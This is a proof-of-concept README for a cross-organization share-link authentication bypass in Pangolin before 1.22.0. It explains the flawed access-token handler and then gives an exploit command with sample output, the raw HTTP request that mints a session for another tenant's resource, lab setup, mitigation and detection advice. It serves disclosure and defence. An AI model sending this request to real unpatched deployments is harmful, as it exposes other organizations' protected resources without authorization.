PoC for CVE-2026-72001 — Pangolin < 1.22.0 cross-organization resource authentication bypass via the share-link access-token endpoint (CWE-639, CVSS 8.1).
Proof-of-concept for CVE-2026-72001, a broken-object-level-authorization flaw in
Pangolin (< 1.22.0) that lets the holder of one
resource share link mint a valid resource session for any other resource on the
instance including resources owned by a different organization bypassing every
configured authentication method (SSO, resource password, PIN, email allowlist, header auth).
| CVE | CVE-2026-72001 |
| Product | fosrl/pangolin |
| Affected | < 1.22.0 |
| Fixed | 1.22.0 |
| Class | Authorization Bypass Through User-Controlled Key (CWE-639) |
| CVSS 3.1 | 8.1 (HIGH) AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| Auth | Attacker only needs one valid share-link token for any resource |
| Verdict | CONFIRMED VULNERABLE (end-to-end, badger enforcement valid:true) |
The share-link authentication endpoint POST /api/v1/auth/resource/:resourceId/access-token
(server/routers/resource/authWithAccessToken.ts) has two branches. When the request
carries an accessTokenId, it validates the token but forgets to bind that check to the
resource in the URL:
// vulnerable (<= 1.21.1)
const res = await verifyResourceAccessToken({
accessTokenId,
accessToken // <-- resourceId is NOT passed
});
valid = res.valid;
tokenItem = res.tokenItem;
resource = foundResource; // <-- resource taken from the ATTACKER-CONTROLLED :resourceId
verifyResourceAccessToken only enforces the resource binding if it receives resourceId:
resourceId?: number; // IF THIS IS NOT SET, THE TOKEN IS VALID FOR ALL RESOURCES
...
if (resourceId && resource.resourceId !== resourceId) {
return { valid: false, error: "Resource ID does not match" };
}
Because the handler never forwards resourceId, the guard is skipped: the token is
validated against its own resource, while the session is minted for the resource named
in the URL. A session (badger request token) for the victim resource is then created:
await createResourceSession({
resourceId: resource.resourceId, // attacker-chosen victim resource
accessTokenId: tokenItem.accessTokenId, // token from a completely different resource
isRequestToken: true, ...
});
The route lives on the unauthenticated router (unauthenticated.use("/auth", authRouter))
and has no rate limiting (unlike the sibling password/pincode/whitelist auth routes).
The CSRF middleware only checks for a static constant header (X-CSRF-Token: x-csrf-protection).
Fix (1.22.0): the handler forwards resourceId into verifyResourceAccessToken, so the
mismatch guard fires and cross-resource requests return 401 "Resource ID does not match".
$ python3 exploit.py --url http://TARGET:3000 \
--token <accessToken> --token-id <accessTokenId> \
--target-resource <victim_resourceId> \
--prove-access <victim_fullDomain> --internal-url http://TARGET:3001
[+] CONFIRMED VULNERABLE - cross-resource session minted
target resourceId : 2
session (req-token): y5myp2nvab2hitkch4xaylrtdk7zsrny
redirectUrl : https://b1.example.com
[+] exchange-session -> valid=true; resource session cookie for b1.example.com
[+] verify-session @ b1.example.com -> valid=True (Access allowed)
[+] ACCESS GRANTED to a resource the share link never had rights to.
The single vulnerable request is:
POST /api/v1/auth/resource/2/access-token HTTP/1.1
Host: target:3000
Content-Type: application/json
X-CSRF-Token: x-csrf-protection
{"accessToken":"<tokenA>","accessTokenId":"<tokenA_id>"}
--prove-access additionally exchanges the returned request token at the badger
enforcement endpoint (/badger/exchange-session → /badger/verify-session) — the same path
Traefik consults — to prove real access, not just a returned string. In a live deployment the
attacker simply presents the request token to the resource and Traefik/badger auto-exchange it.
cd lab
./setup.sh # boots fosrl/pangolin:1.21.1 (default config, SQLite) and provisions
# two orgs / two resources, protects the victim, prints the exploit cmd
See lab/setup.sh, ANALYSIS.md and
evidence/ for the full walk-through and the vulnerable-vs-patched boundary.
On any multi-tenant / multi-org Pangolin instance (self-hosted with several orgs, MSP, or a hosted deployment), an actor who can obtain a single share link — one they were legitimately given, one that leaked, or one they self-issue on any resource they control — reads and acts as any other tenant's protected resource. Confidentiality and integrity of every protected resource on the instance are compromised (CVSS C:H/I:H).
Upgrade to Pangolin ≥ 1.22.0. The fix binds the access-token check to the URL resource id. No configuration workaround fully mitigates < 1.22.0; restrict issuance of resource share links and rotate existing access tokens after upgrading.
Look for POST /api/v1/auth/resource/<id>/access-token where the presented accessTokenId
belongs to a resource whose id ≠ <id> (cross-resource token use), and for access-token
auth requests arriving at high volume (the route is unthrottled). The logAccessAudit
entries will show an accessToken action whose token org differs from the resource org.
Discovered / analysed and PoC by BiiTts (Caio Fabrício). Vulnerability reported by VulnCheck; advisory: https://www.vulncheck.com/advisories/pangolin-authentication-bypass-via-share-link-endpoint.